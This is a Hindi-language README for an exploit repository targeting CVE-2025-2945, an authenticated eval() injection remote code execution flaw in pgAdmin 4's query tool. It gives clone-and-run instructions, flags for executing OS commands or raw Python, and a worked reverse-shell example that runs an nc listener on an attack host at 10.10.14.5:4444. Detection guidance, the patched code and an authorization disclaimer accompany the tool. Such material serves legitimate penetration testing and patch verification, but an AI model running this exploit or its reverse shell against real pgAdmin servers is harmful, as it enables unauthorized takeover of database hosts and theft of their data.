
# CVE-2025-2945 के लिए PoC — pgAdmin 4 प्रमाणित eval() इंजेक्शन RCE, CVSS 9.9
CVSS 3.1: 9.9 (क्रिटिकल) · प्रभावित: pgAdmin 4 8.10 – 9.1 · समाधान: 9.2 (4 अप्रैल, 2025) CWE-95 (गतिशील रूप से मूल्यांकित कोड में निर्देशों का अनुचित तटस्थीकरण / Eval इंजेक्शन)
CVE-2025-2945 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, pgAdmin 4 के क्वेरी टूल में एक प्रमाणित रिमोट कोड निष्पादन
भेद्यता। एक बूलियन ट्रांज़ैक्शन-स्टेट फ़्लैग
(query_commited) को बूलियन के रूप में पार्स करने के बजाय सीधे Python के eval() में पास किया जाता है,
जिससे एक प्रमाणित उपयोगकर्ता मनमाना Python
— और विस्तार से, मनमाना OS कमांड — pgAdmin सेवा प्रक्रिया के विशेषाधिकारों के तहत निष्पादित कर सकता है।
यही एंटी-पैटर्न क्लाउड डिप्लॉयमेंट मॉड्यूल के Google प्रदाता (high_availability) में दूसरी बार मौजूद है।
मूल कारण, एक्सप्लॉइटेशन तर्क, पहचान मार्गदर्शन और उपचार को कवर करने वाला एक पूर्ण तकनीकी लेख यहाँ उपलब्ध है: khashayarnazarkardeh.com — फ़ील्ड नोट्स
कमजोर कोड (web/pgadmin/tools/sqleditor/__init__.py):
if key == 'query_commited':
query_commited = (
eval(value) if isinstance(value, str) else value
)
सुधारित कोड (pgAdmin 9.2+):
query_commited = (
value.lower() in ('true', '1') if isinstance(value, str) else value
)
इस भेद्यता के लिए एक प्रमाणित pgAdmin सत्र और लक्ष्य खाते में पहले से पंजीकृत डेटाबेस सर्वर से बंधा एक क्वेरी टूल ट्रांज़ैक्शन आवश्यक है। वास्तविक परिनियोजनों में ये दोनों सामान्य पूर्वशर्तें हैं, जहाँ pgAdmin आमतौर पर एक या अधिक सहेजे गए सर्वर कनेक्शनों के साथ पूर्व-कॉन्फ़िगर होता है।
--username / --password)--db-user / --db-password / --db-name)git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt
python3 CVE-2025-2945.py \
--host <target> --port 80 \
--username <pgadmin-email> --password <pgadmin-password> \
--db-user <db-user> --db-password <db-password> --db-name <db-name> \
--cmd id
| फ़्लैग | विवरण |
|---|---|
--cmd COMMAND | os.system() के माध्यम से एक एकल OS कमांड चलाता है |
--reverse-shell HOST:PORT | आपके नियंत्रण वाले लिसनर के लिए एक नामित-पाइप रिवर्स शेल उत्पन्न करता है |
--raw-payload EXPR | एक कच्चा Python एक्सप्रेशन सीधे कमजोर eval() सिंक में पास करता है |
# अपने अटैक होस्ट पर, एक अलग टर्मिनल में:
nc -lvnp 4444
# एक्सप्लॉइट चलाएँ:
python3 CVE-2025-2945.py \
--host pgadmin.internal.example.com --port 80 \
--username [email protected] --password 'correct-horse-battery-staple' \
--db-user postgres --db-password postgres --db-name postgres \
--reverse-shell 10.10.14.5:4444
python3 CVE-2025-2945.py --help
रक्षकों को निम्नलिखित पर नज़र रखनी चाहिए:
/sqleditor/query_tool/download/<trans_id> या
/cloud/deploy के लिए POST अनुरोध जहाँ query_commited / high_availability शाब्दिक
"true", "false", "1", या "0" के अलावा कुछ और है।__import__, os.system, subprocess,
eval, exec, open() दिखाई देना।pgAdmin 4 9.2 या बाद के संस्करण में अपग्रेड करें। पैच एक न्यूनतम, कम-जोखिम वाला बूलियन-कोएर्शन फिक्स है। जहाँ तत्काल पैचिंग संभव नहीं है, pgAdmin तक नेटवर्क पहुँच को विश्वसनीय, प्रमाणित नेटवर्क तक सीमित रखें, और उन खातों के लिए क्लाउड डिप्लॉयमेंट मॉड्यूल अक्षम करें जिन्हें इसकी आवश्यकता नहीं है।
खशायर नज़रकारदेह — साइबर सुरक्षा और AI सुरक्षा नेता khashayarnazarkardeh.com · @Khashayarnzk
यह टूल केवल अधिकृत सुरक्षा परीक्षण, अनुसंधान और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। सिस्टम स्वामी से स्पष्ट, प्रलेखित प्राधिकरण के बिना किसी भी सिस्टम के विरुद्ध इसे चलाना अधिकांश क्षेत्राधिकारों में अवैध है। लेखक इस सॉफ़्टवेयर के दुरुपयोग के लिए कोई दायित्व नहीं मानता है। इस स्क्रिप्ट का उपयोग करके आप सहमत हैं कि आप यह सुनिश्चित करने के लिए पूरी तरह ज़िम्मेदार हैं कि आपके पास लक्ष्य का परीक्षण करने की अनुमति है।